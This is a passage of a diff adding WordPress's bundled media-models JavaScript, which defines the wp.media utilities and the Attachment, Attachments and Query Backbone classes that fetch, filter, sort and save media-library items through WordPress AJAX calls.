+media.model.PostImage = __webpack_require__( 24 );
+media.model.Selection = __webpack_require__( 25 );
+
+/**
+ * ========================================================================
+ * UTILITIES
+ * ========================================================================
+ */
+
+/**
+ * A basic equality comparator for Backbone models.
+ *
+ * Used to order models within a collection - @see wp.media.model.Attachments.comparator().
+ *
+ * @param  {mixed}  a  The primary parameter to compare.
+ * @param  {mixed}  b  The primary parameter to compare.
+ * @param  {string} ac The fallback parameter to compare, a's cid.
+ * @param  {string} bc The fallback parameter to compare, b's cid.
+ * @return {number}    -1: a should come before b.
+ *                      0: a and b are of the same rank.
+ *                      1: b should come before a.
+ */
+media.compare = function( a, b, ac, bc ) {
+	if ( _.isEqual( a, b ) ) {
+		return ac === bc ? 0 : (ac > bc ? -1 : 1);
+	} else {
+		return a > b ? -1 : 1;
+	}
+};
+
+_.extend( media, /** @lends wp.media */{
+	/**
+	 * media.template( id )
+	 *
+	 * Fetch a JavaScript template for an id, and return a templating function for it.
+	 *
+	 * See wp.template() in `wp-includes/js/wp-util.js`.
+	 *
+	 * @borrows wp.template as template
+	 */
+	template: wp.template,
+
+	/**
+	 * media.post( [action], [data] )
+	 *
+	 * Sends a POST request to WordPress.
+	 * See wp.ajax.post() in `wp-includes/js/wp-util.js`.
+	 *
+	 * @borrows wp.ajax.post as post
+	 */
+	post: wp.ajax.post,
+
+	/**
+	 * media.ajax( [action], [options] )
+	 *
+	 * Sends an XHR request to WordPress.
+	 * See wp.ajax.send() in `wp-includes/js/wp-util.js`.
+	 *
+	 * @borrows wp.ajax.send as ajax
+	 */
+	ajax: wp.ajax.send,
+
+	/**
+	 * Scales a set of dimensions to fit within bounding dimensions.
+	 *
+	 * @param {Object} dimensions
+	 * @returns {Object}
+	 */
+	fit: function( dimensions ) {
+		var width     = dimensions.width,
+			height    = dimensions.height,
+			maxWidth  = dimensions.maxWidth,
+			maxHeight = dimensions.maxHeight,
+			constraint;
+
+		// Compare ratios between the two values to determine which
+		// max to constrain by. If a max value doesn't exist, then the
+		// opposite side is the constraint.
+		if ( ! _.isUndefined( maxWidth ) && ! _.isUndefined( maxHeight ) ) {
+			constraint = ( width / height > maxWidth / maxHeight ) ? 'width' : 'height';
+		} else if ( _.isUndefined( maxHeight ) ) {
+			constraint = 'width';
+		} else if (  _.isUndefined( maxWidth ) && height > maxHeight ) {
+			constraint = 'height';
+		}
+
+		// If the value of the constrained side is larger than the max,
+		// then scale the values. Otherwise return the originals; they fit.
+		if ( 'width' === constraint && width > maxWidth ) {
+			return {
+				width : maxWidth,
+				height: Math.round( maxWidth * height / width )
+			};
+		} else if ( 'height' === constraint && height > maxHeight ) {
+			return {
+				width : Math.round( maxHeight * width / height ),
+				height: maxHeight
+			};
+		} else {
+			return {
+				width : width,
+				height: height
+			};
+		}
+	},
+	/**
+	 * Truncates a string by injecting an ellipsis into the middle.
+	 * Useful for filenames.
+	 *
+	 * @param {String} string
+	 * @param {Number} [length=30]
+	 * @param {String} [replacement=&hellip;]
+	 * @returns {String} The string, unless length is greater than string.length.
+	 */
+	truncate: function( string, length, replacement ) {
+		length = length || 30;
+		replacement = replacement || '&hellip;';
+
+		if ( string.length <= length ) {
+			return string;
+		}
+
+		return string.substr( 0, length / 2 ) + replacement + string.substr( -1 * length / 2 );
+	}
+});
+
+/**
+ * ========================================================================
+ * MODELS
+ * ========================================================================
+ */
+/**
+ * wp.media.attachment
+ *
+ * @static
+ * @param {String} id A string used to identify a model.
+ * @returns {wp.media.model.Attachment}
+ */
+media.attachment = function( id ) {
+	return Attachment.get( id );
+};
+
+/**
+ * A collection of all attachments that have been fetched from the server.
+ *
+ * @static
+ * @member {wp.media.model.Attachments}
+ */
+Attachments.all = new Attachments();
+
+/**
+ * wp.media.query
+ *
+ * Shorthand for creating a new Attachments Query.
+ *
+ * @param {object} [props]
+ * @returns {wp.media.model.Attachments}
+ */
+media.query = function( props ) {
+	return new Attachments( null, {
+		props: _.extend( _.defaults( props || {}, { orderby: 'date' } ), { query: true } )
+	});
+};
+
+// Clean up. Prevents mobile browsers caching
+$(window).on('unload', function(){
+	window.wp = null;
+});
+
+
+/***/ }),
+
+/***/ 21:
+/***/ (function(module, exports) {
+
+var $ = Backbone.$,
+	Attachment;
+
+/**
+ * wp.media.model.Attachment
+ *
+ * @memberOf wp.media.model
+ *
+ * @class
+ * @augments Backbone.Model
+ */
+Attachment = Backbone.Model.extend(/** @lends wp.media.model.Attachment.prototype */{
+	/**
+	 * Triggered when attachment details change
+	 * Overrides Backbone.Model.sync
+	 *
+	 * @param {string} method
+	 * @param {wp.media.model.Attachment} model
+	 * @param {Object} [options={}]
+	 *
+	 * @returns {Promise}
+	 */
+	sync: function( method, model, options ) {
+		// If the attachment does not yet have an `id`, return an instantly
+		// rejected promise. Otherwise, all of our requests will fail.
+		if ( _.isUndefined( this.id ) ) {
+			return $.Deferred().rejectWith( this ).promise();
+		}
+
+		// Overload the `read` request so Attachment.fetch() functions correctly.
+		if ( 'read' === method ) {
+			options = options || {};
+			options.context = this;
+			options.data = _.extend( options.data || {}, {
+				action: 'get-attachment',
+				id: this.id
+			});
+			return wp.media.ajax( options );
+
+		// Overload the `update` request so properties can be saved.
+		} else if ( 'update' === method ) {
+			// If we do not have the necessary nonce, fail immeditately.
+			if ( ! this.get('nonces') || ! this.get('nonces').update ) {
+				return $.Deferred().rejectWith( this ).promise();
+			}
+
+			options = options || {};
+			options.context = this;
+
+			// Set the action and ID.
+			options.data = _.extend( options.data || {}, {
+				action:  'save-attachment',
+				id:      this.id,
+				nonce:   this.get('nonces').update,
+				post_id: wp.media.model.settings.post.id
+			});
+
+			// Record the values of the changed attributes.
+			if ( model.hasChanged() ) {
+				options.data.changes = {};
+
+				_.each( model.changed, function( value, key ) {
+					options.data.changes[ key ] = this.get( key );
+				}, this );
+			}
+
+			return wp.media.ajax( options );
+
+		// Overload the `delete` request so attachments can be removed.
+		// This will permanently delete an attachment.
+		} else if ( 'delete' === method ) {
+			options = options || {};
+
+			if ( ! options.wait ) {
+				this.destroyed = true;
+			}
+
+			options.context = this;
+			options.data = _.extend( options.data || {}, {
+				action:   'delete-post',
+				id:       this.id,
+				_wpnonce: this.get('nonces')['delete']
+			});
+
+			return wp.media.ajax( options ).done( function() {
+				this.destroyed = true;
+			}).fail( function() {
+				this.destroyed = false;
+			});
+
+		// Otherwise, fall back to `Backbone.sync()`.
+		} else {
+			/**
+			 * Call `sync` directly on Backbone.Model
+			 */
+			return Backbone.Model.prototype.sync.apply( this, arguments );
+		}
+	},
+	/**
+	 * Convert date strings into Date objects.
+	 *
+	 * @param {Object} resp The raw response object, typically returned by fetch()
+	 * @returns {Object} The modified response object, which is the attributes hash
+	 *    to be set on the model.
+	 */
+	parse: function( resp ) {
+		if ( ! resp ) {
+			return resp;
+		}
+
+		resp.date = new Date( resp.date );
+		resp.modified = new Date( resp.modified );
+		return resp;
+	},
+	/**
+	 * @param {Object} data The properties to be saved.
+	 * @param {Object} options Sync options. e.g. patch, wait, success, error.
+	 *
+	 * @this Backbone.Model
+	 *
+	 * @returns {Promise}
+	 */
+	saveCompat: function( data, options ) {
+		var model = this;
+
+		// If we do not have the necessary nonce, fail immeditately.
+		if ( ! this.get('nonces') || ! this.get('nonces').update ) {
+			return $.Deferred().rejectWith( this ).promise();
+		}
+
+		return wp.media.post( 'save-attachment-compat', _.defaults({
+			id:      this.id,
+			nonce:   this.get('nonces').update,
+			post_id: wp.media.model.settings.post.id
+		}, data ) ).done( function( resp, status, xhr ) {
+			model.set( model.parse( resp, xhr ), options );
+		});
+	}
+},/** @lends wp.media.model.Attachment */{
+	/**
+	 * Create a new model on the static 'all' attachments collection and return it.
+	 *
+	 * @static
+	 *
+	 * @param {Object} attrs
+	 * @returns {wp.media.model.Attachment}
+	 */
+	create: function( attrs ) {
+		var Attachments = wp.media.model.Attachments;
+		return Attachments.all.push( attrs );
+	},
+	/**
+	 * Create a new model on the static 'all' attachments collection and return it.
+	 *
+	 * If this function has already been called for the id,
+	 * it returns the specified attachment.
+	 *
+	 * @static
+	 * @param {string} id A string used to identify a model.
+	 * @param {Backbone.Model|undefined} attachment
+	 * @returns {wp.media.model.Attachment}
+	 */
+	get: _.memoize( function( id, attachment ) {
+		var Attachments = wp.media.model.Attachments;
+		return Attachments.all.push( attachment || { id: id } );
+	})
+});
+
+module.exports = Attachment;
+
+
+/***/ }),
+
+/***/ 22:
+/***/ (function(module, exports) {
+
+/**
+ * wp.media.model.Attachments
+ *
+ * A collection of attachments.
+ *
+ * This collection has no persistence with the server without supplying
+ * 'options.props.query = true', which will mirror the collection
+ * to an Attachments Query collection - @see wp.media.model.Attachments.mirror().
+ *
+ * @memberOf wp.media.model
+ *
+ * @class
+ * @augments Backbone.Collection
+ *
+ * @param {array}  [models]                Models to initialize with the collection.
+ * @param {object} [options]               Options hash for the collection.
+ * @param {string} [options.props]         Options hash for the initial query properties.
+ * @param {string} [options.props.order]   Initial order (ASC or DESC) for the collection.
+ * @param {string} [options.props.orderby] Initial attribute key to order the collection by.
+ * @param {string} [options.props.query]   Whether the collection is linked to an attachments query.
+ * @param {string} [options.observe]
+ * @param {string} [options.filters]
+ *
+ */
+var Attachments = Backbone.Collection.extend(/** @lends wp.media.model.Attachments.prototype */{
+	/**
+	 * @type {wp.media.model.Attachment}
+	 */
+	model: wp.media.model.Attachment,
+	/**
+	 * @param {Array} [models=[]] Array of models used to populate the collection.
+	 * @param {Object} [options={}]
+	 */
+	initialize: function( models, options ) {
+		options = options || {};
+
+		this.props   = new Backbone.Model();
+		this.filters = options.filters || {};
+
+		// Bind default `change` events to the `props` model.
+		this.props.on( 'change', this._changeFilteredProps, this );
+
+		this.props.on( 'change:order',   this._changeOrder,   this );
+		this.props.on( 'change:orderby', this._changeOrderby, this );
+		this.props.on( 'change:query',   this._changeQuery,   this );
+
+		this.props.set( _.defaults( options.props || {} ) );
+
+		if ( options.observe ) {
+			this.observe( options.observe );
+		}
+	},
+	/**
+	 * Sort the collection when the order attribute changes.
+	 *
+	 * @access private
+	 */
+	_changeOrder: function() {
+		if ( this.comparator ) {
+			this.sort();
+		}
+	},
+	/**
+	 * Set the default comparator only when the `orderby` property is set.
+	 *
+	 * @access private
+	 *
+	 * @param {Backbone.Model} model
+	 * @param {string} orderby
+	 */
+	_changeOrderby: function( model, orderby ) {
+		// If a different comparator is defined, bail.
+		if ( this.comparator && this.comparator !== Attachments.comparator ) {
+			return;
+		}
+
+		if ( orderby && 'post__in' !== orderby ) {
+			this.comparator = Attachments.comparator;
+		} else {
+			delete this.comparator;
+		}
+	},
+	/**
+	 * If the `query` property is set to true, query the server using
+	 * the `props` values, and sync the results to this collection.
+	 *
+	 * @access private
+	 *
+	 * @param {Backbone.Model} model
+	 * @param {Boolean} query
+	 */
+	_changeQuery: function( model, query ) {
+		if ( query ) {
+			this.props.on( 'change', this._requery, this );
+			this._requery();
+		} else {
+			this.props.off( 'change', this._requery, this );
+		}
+	},
+	/**
+	 * @access private
+	 *
+	 * @param {Backbone.Model} model
+	 */
+	_changeFilteredProps: function( model ) {
+		// If this is a query, updating the collection will be handled by
+		// `this._requery()`.
+		if ( this.props.get('query') ) {
+			return;
+		}
+
+		var changed = _.chain( model.changed ).map( function( t, prop ) {
+			var filter = Attachments.filters[ prop ],
+				term = model.get( prop );
+
+			if ( ! filter ) {
+				return;
+			}
+
+			if ( term && ! this.filters[ prop ] ) {
+				this.filters[ prop ] = filter;
+			} else if ( ! term && this.filters[ prop ] === filter ) {
+				delete this.filters[ prop ];
+			} else {
+				return;
+			}
+
+			// Record the change.
+			return true;
+		}, this ).any().value();
+
+		if ( ! changed ) {
+			return;
+		}
+
+		// If no `Attachments` model is provided to source the searches
+		// from, then automatically generate a source from the existing
+		// models.
+		if ( ! this._source ) {
+			this._source = new Attachments( this.models );
+		}
+
+		this.reset( this._source.filter( this.validator, this ) );
+	},
+
+	validateDestroyed: false,
+	/**
+	 * Checks whether an attachment is valid.
+	 *
+	 * @param {wp.media.model.Attachment} attachment
+	 * @returns {Boolean}
+	 */
+	validator: function( attachment ) {
+
+		// Filter out contextually created attachments (e.g. headers, logos, etc.).
+		if (
+			! _.isUndefined( attachment.attributes.context ) &&
+			'' !== attachment.attributes.context
+		) {
+			return false;
+		}
+
+		if ( ! this.validateDestroyed && attachment.destroyed ) {
+			return false;
+		}
+		return _.all( this.filters, function( filter ) {
+			return !! filter.call( this, attachment );
+		}, this );
+	},
+	/**
+	 * Add or remove an attachment to the collection depending on its validity.
+	 *
+	 * @param {wp.media.model.Attachment} attachment
+	 * @param {Object} options
+	 * @returns {wp.media.model.Attachments} Returns itself to allow chaining
+	 */
+	validate: function( attachment, options ) {
+		var valid = this.validator( attachment ),
+			hasAttachment = !! this.get( attachment.cid );
+
+		if ( ! valid && hasAttachment ) {
+			this.remove( attachment, options );
+		} else if ( valid && ! hasAttachment ) {
+			this.add( attachment, options );
+		}
+
+		return this;
+	},
+
+	/**
+	 * Add or remove all attachments from another collection depending on each one's validity.
+	 *
+	 * @param {wp.media.model.Attachments} attachments
+	 * @param {object} [options={}]
+	 *
+	 * @fires wp.media.model.Attachments#reset
+	 *
+	 * @returns {wp.media.model.Attachments} Returns itself to allow chaining
+	 */
+	validateAll: function( attachments, options ) {
+		options = options || {};
+
+		_.each( attachments.models, function( attachment ) {
+			this.validate( attachment, { silent: true });
+		}, this );
+
+		if ( ! options.silent ) {
+			this.trigger( 'reset', this, options );
+		}
+		return this;
+	},
+	/**
+	 * Start observing another attachments collection change events
+	 * and replicate them on this collection.
+	 *
+	 * @param {wp.media.model.Attachments} The attachments collection to observe.
+	 * @returns {wp.media.model.Attachments} Returns itself to allow chaining.
+	 */
+	observe: function( attachments ) {
+		this.observers = this.observers || [];
+		this.observers.push( attachments );
+
+		attachments.on( 'add change remove', this._validateHandler, this );
+		attachments.on( 'reset', this._validateAllHandler, this );
+		this.validateAll( attachments );
+		return this;
+	},
+	/**
+	 * Stop replicating collection change events from another attachments collection.
+	 *
+	 * @param {wp.media.model.Attachments} The attachments collection to stop observing.
+	 * @returns {wp.media.model.Attachments} Returns itself to allow chaining
+	 */
+	unobserve: function( attachments ) {
+		if ( attachments ) {
+			attachments.off( null, null, this );
+			this.observers = _.without( this.observers, attachments );
+
+		} else {
+			_.each( this.observers, function( attachments ) {
+				attachments.off( null, null, this );
+			}, this );
+			delete this.observers;
+		}
+
+		return this;
+	},
+	/**
+	 * @access private
+	 *
+	 * @param {wp.media.model.Attachments} attachment
+	 * @param {wp.media.model.Attachments} attachments
+	 * @param {Object} options
+	 *
+	 * @returns {wp.media.model.Attachments} Returns itself to allow chaining
+	 */
+	_validateHandler: function( attachment, attachments, options ) {
+		// If we're not mirroring this `attachments` collection,
+		// only retain the `silent` option.
+		options = attachments === this.mirroring ? options : {
+			silent: options && options.silent
+		};
+
+		return this.validate( attachment, options );
+	},
+	/**
+	 * @access private
+	 *
+	 * @param {wp.media.model.Attachments} attachments
+	 * @param {Object} options
+	 * @returns {wp.media.model.Attachments} Returns itself to allow chaining
+	 */
+	_validateAllHandler: function( attachments, options ) {
+		return this.validateAll( attachments, options );
+	},
+	/**
+	 * Start mirroring another attachments collection, clearing out any models already
+	 * in the collection.
+	 *
+	 * @param {wp.media.model.Attachments} The attachments collection to mirror.
+	 * @returns {wp.media.model.Attachments} Returns itself to allow chaining
+	 */
+	mirror: function( attachments ) {
+		if ( this.mirroring && this.mirroring === attachments ) {
+			return this;
+		}
+
+		this.unmirror();
+		this.mirroring = attachments;
+
+		// Clear the collection silently. A `reset` event will be fired
+		// when `observe()` calls `validateAll()`.
+		this.reset( [], { silent: true } );
+		this.observe( attachments );
+
+		return this;
+	},
+	/**
+	 * Stop mirroring another attachments collection.
+	 */
+	unmirror: function() {
+		if ( ! this.mirroring ) {
+			return;
+		}
+
+		this.unobserve( this.mirroring );
+		delete this.mirroring;
+	},
+	/**
+	 * Retrieve more attachments from the server for the collection.
+	 *
+	 * Only works if the collection is mirroring a Query Attachments collection,
+	 * and forwards to its `more` method. This collection class doesn't have
+	 * server persistence by itself.
+	 *
+	 * @param {object} options
+	 * @returns {Promise}
+	 */
+	more: function( options ) {
+		var deferred = jQuery.Deferred(),
+			mirroring = this.mirroring,
+			attachments = this;
+
+		if ( ! mirroring || ! mirroring.more ) {
+			return deferred.resolveWith( this ).promise();
+		}
+		// If we're mirroring another collection, forward `more` to
+		// the mirrored collection. Account for a race condition by
+		// checking if we're still mirroring that collection when
+		// the request resolves.
+		mirroring.more( options ).done( function() {
+			if ( this === attachments.mirroring ) {
+				deferred.resolveWith( this );
+			}
+		});
+
+		return deferred.promise();
+	},
+	/**
+	 * Whether there are more attachments that haven't been sync'd from the server
+	 * that match the collection's query.
+	 *
+	 * Only works if the collection is mirroring a Query Attachments collection,
+	 * and forwards to its `hasMore` method. This collection class doesn't have
+	 * server persistence by itself.
+	 *
+	 * @returns {boolean}
+	 */
+	hasMore: function() {
+		return this.mirroring ? this.mirroring.hasMore() : false;
+	},
+	/**
+	 * A custom AJAX-response parser.
+	 *
+	 * See trac ticket #24753
+	 *
+	 * @param {Object|Array} resp The raw response Object/Array.
+	 * @param {Object} xhr
+	 * @returns {Array} The array of model attributes to be added to the collection
+	 */
+	parse: function( resp, xhr ) {
+		if ( ! _.isArray( resp ) ) {
+			resp = [resp];
+		}
+
+		return _.map( resp, function( attrs ) {
+			var id, attachment, newAttributes;
+
+			if ( attrs instanceof Backbone.Model ) {
+				id = attrs.get( 'id' );
+				attrs = attrs.attributes;
+			} else {
+				id = attrs.id;
+			}
+
+			attachment = wp.media.model.Attachment.get( id );
+			newAttributes = attachment.parse( attrs, xhr );
+
+			if ( ! _.isEqual( attachment.attributes, newAttributes ) ) {
+				attachment.set( newAttributes );
+			}
+
+			return attachment;
+		});
+	},
+	/**
+	 * If the collection is a query, create and mirror an Attachments Query collection.
+	 *
+	 * @access private
+	 */
+	_requery: function( refresh ) {
+		var props;
+		if ( this.props.get('query') ) {
+			props = this.props.toJSON();
+			props.cache = ( true !== refresh );
+			this.mirror( wp.media.model.Query.get( props ) );
+		}
+	},
+	/**
+	 * If this collection is sorted by `menuOrder`, recalculates and saves
+	 * the menu order to the database.
+	 *
+	 * @returns {undefined|Promise}
+	 */
+	saveMenuOrder: function() {
+		if ( 'menuOrder' !== this.props.get('orderby') ) {
+			return;
+		}
+
+		// Removes any uploading attachments, updates each attachment's
+		// menu order, and returns an object with an { id: menuOrder }
+		// mapping to pass to the request.
+		var attachments = this.chain().filter( function( attachment ) {
+			return ! _.isUndefined( attachment.id );
+		}).map( function( attachment, index ) {
+			// Indices start at 1.
+			index = index + 1;
+			attachment.set( 'menuOrder', index );
+			return [ attachment.id, index ];
+		}).object().value();
+
+		if ( _.isEmpty( attachments ) ) {
+			return;
+		}
+
+		return wp.media.post( 'save-attachment-order', {
+			nonce:       wp.media.model.settings.post.nonce,
+			post_id:     wp.media.model.settings.post.id,
+			attachments: attachments
+		});
+	}
+},/** @lends wp.media.model.Attachments */{
+	/**
+	 * A function to compare two attachment models in an attachments collection.
+	 *
+	 * Used as the default comparator for instances of wp.media.model.Attachments
+	 * and its subclasses. @see wp.media.model.Attachments._changeOrderby().
+	 *
+	 * @param {Backbone.Model} a
+	 * @param {Backbone.Model} b
+	 * @param {Object} options
+	 * @returns {Number} -1 if the first model should come before the second,
+	 *    0 if they are of the same rank and
+	 *    1 if the first model should come after.
+	 */
+	comparator: function( a, b, options ) {
+		var key   = this.props.get('orderby'),
+			order = this.props.get('order') || 'DESC',
+			ac    = a.cid,
+			bc    = b.cid;
+
+		a = a.get( key );
+		b = b.get( key );
+
+		if ( 'date' === key || 'modified' === key ) {
+			a = a || new Date();
+			b = b || new Date();
+		}
+
+		// If `options.ties` is set, don't enforce the `cid` tiebreaker.
+		if ( options && options.ties ) {
+			ac = bc = null;
+		}
+
+		return ( 'DESC' === order ) ? wp.media.compare( a, b, ac, bc ) : wp.media.compare( b, a, bc, ac );
+	},
+	/** @namespace wp.media.model.Attachments.filters */
+	filters: {
+		/**
+		 * @static
+		 * Note that this client-side searching is *not* equivalent
+		 * to our server-side searching.
+		 *
+		 * @param {wp.media.model.Attachment} attachment
+		 *
+		 * @this wp.media.model.Attachments
+		 *
+		 * @returns {Boolean}
+		 */
+		search: function( attachment ) {
+			if ( ! this.props.get('search') ) {
+				return true;
+			}
+
+			return _.any(['title','filename','description','caption','name'], function( key ) {
+				var value = attachment.get( key );
+				return value && -1 !== value.search( this.props.get('search') );
+			}, this );
+		},
+		/**
+		 * @static
+		 * @param {wp.media.model.Attachment} attachment
+		 *
+		 * @this wp.media.model.Attachments
+		 *
+		 * @returns {Boolean}
+		 */
+		type: function( attachment ) {
+			var type = this.props.get('type'), atts = attachment.toJSON(), mime, found;
+
+			if ( ! type || ( _.isArray( type ) && ! type.length ) ) {
+				return true;
+			}
+
+			mime = atts.mime || ( atts.file && atts.file.type ) || '';
+
+			if ( _.isArray( type ) ) {
+				found = _.find( type, function (t) {
+					return -1 !== mime.indexOf( t );
+				} );
+			} else {
+				found = -1 !== mime.indexOf( type );
+			}
+
+			return found;
+		},
+		/**
+		 * @static
+		 * @param {wp.media.model.Attachment} attachment
+		 *
+		 * @this wp.media.model.Attachments
+		 *
+		 * @returns {Boolean}
+		 */
+		uploadedTo: function( attachment ) {
+			var uploadedTo = this.props.get('uploadedTo');
+			if ( _.isUndefined( uploadedTo ) ) {
+				return true;
+			}
+
+			return uploadedTo === attachment.get('uploadedTo');
+		},
+		/**
+		 * @static
+		 * @param {wp.media.model.Attachment} attachment
+		 *
+		 * @this wp.media.model.Attachments
+		 *
+		 * @returns {Boolean}
+		 */
+		status: function( attachment ) {
+			var status = this.props.get('status');
+			if ( _.isUndefined( status ) ) {
+				return true;
+			}
+
+			return status === attachment.get('status');
+		}
+	}
+});
+
+module.exports = Attachments;
+
+
+/***/ }),
+
+/***/ 23:
+/***/ (function(module, exports) {
+
+var Attachments = wp.media.model.Attachments,
+	Query;
+
+/**
+ * wp.media.model.Query
+ *
+ * A collection of attachments that match the supplied query arguments.
+ *
+ * Note: Do NOT change this.args after the query has been initialized.
+ *       Things will break.
+ *
+ * @memberOf wp.media.model
+ *
+ * @class
+ * @augments wp.media.model.Attachments
+ * @augments Backbone.Collection
+ *
+ * @param {array}  [models]                      Models to initialize with the collection.
+ * @param {object} [options]                     Options hash.
+ * @param {object} [options.args]                Attachments query arguments.
+ * @param {object} [options.args.posts_per_page]
+ */
+Query = Attachments.extend(/** @lends wp.media.model.Query.prototype */{
+	/**
+	 * @param {array}  [models=[]]  Array of initial models to populate the collection.
+	 * @param {object} [options={}]
+	 */
+	initialize: function( models, options ) {
+		var allowed;
+
+		options = options || {};
+		Attachments.prototype.initialize.apply( this, arguments );
+
+		this.args     = options.args;
+		this._hasMore = true;
+		this.created  = new Date();
+
+		this.filters.order = function( attachment ) {
+			var orderby = this.props.get('orderby'),
+				order = this.props.get('order');
+
+			if ( ! this.comparator ) {
+				return true;
+			}
+
+			// We want any items that can be placed before the last
+			// item in the set. If we add any items after the last
+			// item, then we can't guarantee the set is complete.
+			if ( this.length ) {
+				return 1 !== this.comparator( attachment, this.last(), { ties: true });
+
+			// Handle the case where there are no items yet and
+			// we're sorting for recent items. In that case, we want
+			// changes that occurred after we created the query.
+			} else if ( 'DESC' === order && ( 'date' === orderby || 'modified' === orderby ) ) {
+				return attachment.get( orderby ) >= this.created;
+
+			// If we're sorting by menu order and we have no items,
+			// accept any items that have the default menu order (0).
+			} else if ( 'ASC' === order && 'menuOrder' === orderby ) {
+				return attachment.get( orderby ) === 0;
+			}
+
+			// Otherwise, we don't want any items yet.
+			return false;
+		};
+
+		// Observe the central `wp.Uploader.queue` collection to watch for
+		// new matches for the query.
+		//
+		// Only observe when a limited number of query args are set. There
+		// are no filters for other properties, so observing will result in
+		// false positives in those queries.
+		allowed = [ 's', 'order', 'orderby', 'posts_per_page', 'post_mime_type', 'post_parent', 'author' ];
+		if ( wp.Uploader && _( this.args ).chain().keys().difference( allowed ).isEmpty().value() ) {
+			this.observe( wp.Uploader.queue );
+		}
+	},
+	/**
+	 * Whether there are more attachments that haven't been sync'd from the server
+	 * that match the collection's query.
+	 *
+	 * @returns {boolean}
+	 */
+	hasMore: function() {
+		return this._hasMore;
+	},
+	/**
+	 * Fetch more attachments from the server for the collection.
+	 *
+	 * @param   {object}  [options={}]
+	 * @returns {Promise}
+	 */
+	more: function( options ) {
+		var query = this;
+
+		// If there is already a request pending, return early with the Deferred object.
+		if ( this._more && 'pending' === this._more.state() ) {
+			return this._more;
+		}
+
+		if ( ! this.hasMore() ) {
+			return jQuery.Deferred().resolveWith( this ).promise();
+		}
+
+		options = options || {};
+		options.remove = false;
+
+		return this._more = this.fetch( options ).done( function( resp ) {
+			if ( _.isEmpty( resp ) || -1 === this.args.posts_per_page || resp.length < this.args.posts_per_page ) {
+				query._hasMore = false;
+			}
+		});
+	},
+	/**
+	 * Overrides Backbone.Collection.sync
+	 * Overrides wp.media.model.Attachments.sync
+	 *
+	 * @param {String} method
+	 * @param {Backbone.Model} model
+	 * @param {Object} [options={}]
+	 * @returns {Promise}
+	 */
+	sync: function( method, model, options ) {
+		var args, fallback;
+
+		// Overload the read method so Attachment.fetch() functions correctly.
+		if ( 'read' === method ) {
+			options = options || {};
+			options.context = this;
+			options.data = _.extend( options.data || {}, {
+				action:  'query-attachments',
+				post_id: wp.media.model.settings.post.id
+			});
+
+			// Clone the args so manipulation is non-destructive.
+			args = _.clone( this.args );
+
+			// Determine which page to query.
+			if ( -1 !== args.posts_per_page ) {
+				args.paged = Math.round( this.length / args.posts_per_page ) + 1;
+			}
+
+			options.data.query = args;
+			return wp.media.ajax( options );
+
+		// Otherwise, fall back to Backbone.sync()
+		} else {
+			/**
+			 * Call wp.media.model.Attachments.sync or Backbone.sync
+			 */
+			fallback = Attachments.prototype.sync ? Attachments.prototype : Backbone;
+			return fallback.sync.apply( this, arguments );
+		}
+	}
+}, /** @lends wp.media.model.Query */{
+	/**
+	 * @readonly
+	 */
+	defaultProps: {
+		orderby: 'date',
+		order:   'DESC'
+	},
+	/**
+	 * @readonly
+	 */
+	defaultArgs: {
+		posts_per_page: 40
+	},
+	/**
+	 * @readonly
+	 */
+	orderby: {
+		allowed:  [ 'name', 'author', 'date', 'title', 'modified', 'uploadedTo', 'id', 'post__in', 'menuOrder' ],
+		/**
+		 * A map of JavaScript orderby values to their WP_Query equivalents.
+		 * @type {Object}
+		 */
+		valuemap: {
+			'id':         'ID',
+			'uploadedTo': 'parent',
+			'menuOrder':  'menu_order ID'
+		}
+	},
+	/**
+	 * A map of JavaScript query properties to their WP_Query equivalents.
+	 *
+	 * @readonly
+	 */
+	propmap: {
+		'search':		's',
+		'type':			'post_mime_type',
+		'perPage':		'posts_per_page',
+		'menuOrder':	'menu_order',
+		'uploadedTo':	'post_parent',
+		'status':		'post_status',
+		'include':		'post__in',
+		'exclude':		'post__not_in',
+		'author':		'author'
+	},
+	/**
+	 * Creates and returns an Attachments Query collection given the properties.
+	 *
+	 * Caches query objects and reuses where possible.
+	 *
+	 * @static
+	 * @method
+	 *
+	 * @param {object} [props]
+	 * @param {Object} [props.cache=true]   Whether to use the query cache or not.
+	 * @param {Object} [props.order]
+	 * @param {Object} [props.orderby]
+	 * @param {Object} [props.include]
+	 * @param {Object} [props.exclude]
+	 * @param {Object} [props.s]
+	 * @param {Object} [props.post_mime_type]
+	 * @param {Object} [props.posts_per_page]
+	 * @param {Object} [props.menu_order]
+	 * @param {Object} [props.post_parent]
+	 * @param {Object} [props.post_status]
+	 * @param {Object} [props.author]
+	 * @param {Object} [options]
+	 *
+	 * @returns {wp.media.model.Query} A new Attachments Query collection.
+	 */
+	get: (function(){
+		/**
+		 * @static
+		 * @type Array
+		 */
+		var queries = [];
+
+		/**
+		 * @returns {Query}
+		 */
+		return function( props, options ) {
+			var args     = {},
+				orderby  = Query.orderby,
+				defaults = Query.defaultProps,
+				query,
+				cache    = !! props.cache || _.isUndefined( props.cache );
+
+			// Remove the `query` property. This isn't linked to a query,
+			// this *is* the query.
+			delete props.query;
+			delete props.cache;
+
+			// Fill default args.
+			_.defaults( props, defaults );
+
+			// Normalize the order.
+			props.order = props.order.toUpperCase();
+			if ( 'DESC' !== props.order && 'ASC' !== props.order ) {
+				props.order = defaults.order.toUpperCase();
+			}
+
+			// Ensure we have a valid orderby value.
+			if ( ! _.contains( orderby.allowed, props.orderby ) ) {
+				props.orderby = defaults.orderby;
+			}
+
+			_.each( [ 'include', 'exclude' ], function( prop ) {
+				if ( props[ prop ] && ! _.isArray( props[ prop ] ) ) {
+					props[ prop ] = [ props[ prop ] ];
+				}
+			} );
+
+			// Generate the query `args` object.
+			// Correct any differing property names.
+			_.each( props, function( value, prop ) {
+				if ( _.isNull( value ) ) {
+					return;
+				}
+
+				args[ Query.propmap[ prop ] || prop ] = value;
+			});
+
+			// Fill any other default query args.
+			_.defaults( args, Query.defaultArgs );
+
+			// `props.orderby` does not always map directly to `args.orderby`.
+			// Substitute exceptions specified in orderby.keymap.
+			args.orderby = orderby.valuemap[ props.orderby ] || props.orderby;
+
+			// Search the query cache for a matching query.
+			if ( cache ) {
+				query = _.find( queries, function( query ) {
+					return _.isEqual( query.args, args );
+				});
+			} else {
+				queries = [];
+			}
+
+			// Otherwise, create a new query and add it to the cache.
+			if ( ! query ) {
+				query = new Query( [], _.extend( options || {}, {
+					props: props,
+					args:  args
+				} ) );
+				queries.push( query );
+			}
+
+			return query;
+		};
+	}())
+});
+
+module.exports = Query;
+
+
+/***/ }),
+
+/***/ 24:
+/***/ (function(module, exports) {
+
+/**
+ * wp.media.model.PostImage
+ *
+ * An instance of an image that's been embedded into a post.
+ *
